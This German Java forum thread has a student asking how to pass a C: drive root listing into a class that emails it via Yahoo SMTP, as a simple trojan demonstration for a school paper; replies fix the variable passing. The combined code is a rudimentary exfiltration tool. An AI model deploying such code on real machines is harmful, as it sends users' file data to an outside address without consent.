Variable aus einer anderen Klasse verwenden

Spitfir3

Neues Mitglied
Hallo zusammen,

ich bin noch Einsteiger im Bereich der Java Programmierung und stehe momentan vor folgendem Problem:

diese Klasse soll alle Dateien und Ordner vom Stammverzeichnis von "C:" auslesen und in einem String speichern (oder doch in einem Array?)

Java:
 /**
  * 
  */
 
 import java.io.File;
 
 /**
  * 
  */
 public class DateiAusgeben {
     
     public String verzeichnis;
 
    /**
     * @param args
     */
    public void auslesen(String[] args) throws Exception {
        File driveC = new File("c:/");
        
        //Alle Verzeichnis im Root listen...
        String[] rootDirectories = driveC.list();
        for (int i = 0; i < rootDirectories.length; i++) {
            String verzeichnis = rootDirectories[i] + "########ENDE#############" ;
        }
 


    }


 }

Das funktioniert soweit ganz gut, wenn man sich das Verzeichnis in der Konsole ausgeben lässt.

Doch nun das eigentliche Problem. Die nachfolgende Klasse soll eine E-Mail senden mit dem Stammverzeichnisinhalt von "C:". Doch wie sage ich nun, dass er die Variable aus der "DateiAusgeben" Klasse verwenden soll (bei "String text")

hier die Mailsender Klasse:

Java:
import java.util.Date;
import java.util.Properties;
 
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
 
/**
 * 
 */
public class SendMailExample {

    public void sendMail(String smtpHost,String username,String password,String senderAddress,String recipientsAddress,String subject,String text ){
        MailAuthenticator auth = new MailAuthenticator(username, password);
 
        Properties properties = new Properties();
 
        // Den Properties wird die ServerAdresse hinzugefügt
        properties.put("mail.smtp.host", smtpHost);
 
        // !!Wichtig!! Falls der SMTP-Server eine Authentifizierung
        // verlangt
        // muss an dieser Stelle die Property auf "true" gesetzt
        // werden
        properties.put("mail.smtp.auth", "true");
 
        // Hier wird mit den Properties und dem implements Contructor
        // erzeugten
        // MailAuthenticator eine Session erzeugt
        Session session = Session.getDefaultInstance(properties, auth);
 
        try {
            // Eine neue Message erzeugen
            Message msg = new MimeMessage(session);
 
            // Hier werden die Absender- und Empfängeradressen gesetzt
            msg.setFrom(new InternetAddress(senderAddress));
            msg.setRecipients(Message.RecipientType.TO, InternetAddress.parse(
                    recipientsAddress, false));
 
            // Der Betreff und Body der Message werden gesetzt
            msg.setSubject(subject);
            msg.setText(text);
 
            // Hier lassen sich HEADER-Informationen hinzufügen
            msg.setHeader("Test", "Test");
            msg.setSentDate(new Date( ));
 
            // Zum Schluss wird die Mail natürlich noch verschickt
            Transport.send(msg);
 
        }
        catch (Exception e) {
            e.printStackTrace( );
        }
    }
    
    class MailAuthenticator extends Authenticator {
 
        /**
         * Ein String, der den Usernamen nach der Erzeugung eines
         * Objektes<br>
         * dieser Klasse enthalten wird.
         */
        private final String user;
 
        /**
         * Ein String, der das Passwort nach der Erzeugung eines
         * Objektes<br>
         * dieser Klasse enthalten wird.
         */
        private final String password;
 
        /**
         * Der Konstruktor erzeugt ein MailAuthenticator Objekt<br>
         * aus den beiden Parametern user und passwort.
         * 
         * @param user
         *            String, der Username fuer den Mailaccount.
         * @param password
         *            String, das Passwort fuer den Mailaccount.
         */
        public MailAuthenticator(String user, String password) {
            this.user = user;
            this.password = password;
        }
 
        /**
         * Diese Methode gibt ein neues PasswortAuthentication
         * Objekt zurueck.
         * 
         * @see javax.mail.Authenticator#getPasswordAuthentication()
         */
        protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(this.user, this.password);
        }
    }
    
    public void sendeMail(String[] args) {
 
        String username = "facharbeit_sender";
        String password = "...";
        String senderAddress ="facharbeit_sender@yahoo.de";
        String recipientsAddress = "facharbeit_empfaenger@yahoo.de";
        String subject = "Log: "+ new Date();
        String smtpHost = "smtp.mail.yahoo.de";
        String text = ??????????????????????;
        
        new SendMailExample().sendMail(smtpHost, username, password, senderAddress, recipientsAddress, subject, text);
    }
}


Das ganze soll im Rahmen einer Facharbeit die Funktionsweise eines Trojaners extrem simpel darstellen :rtfm:
Die muss aber bis Freitag fertig sein und die Demonstration hier ist das einzige was leider noch fehlt 🙁


Grüße
Johannes
 
Zuletzt bearbeitet von einem Moderator:
Hallo,

die weniger schöne Variante:
Java:
DateiAusgeben da = new DateiAusgeben();
da.auslesen();
String text = da.verzeichnis;

Besser wäre es, in deine Deine DateiAusgeben-Klasse eine get-Methode rein zu setzen und davor einen Konstruktor zu setzen, in dem auslesen() schon aufgerufen wird.

Du müsstest aber DateiAusgeben reparieren:
statt
Java:
for (int i = 0; i < rootDirectories.length; i++) {
String verzeichnis = rootDirectories[i] + "########ENDE#############" ;
}
könntest Du
Java:
verzeichnis = "";
for (int i = 0; i < rootDirectories.length; i++) {
    verzeichnis += rootDirectories[i] + "\n" ;
}
verzeichnis += "########ENDE#############";
schreiben.

Schöne Grüße.
 
Um das ganze noch schöner zu machen solltest du zum Erzeugen des Strings "verzeichnis" eher einen StringBuilder verwenden.
 

Zurück
Oben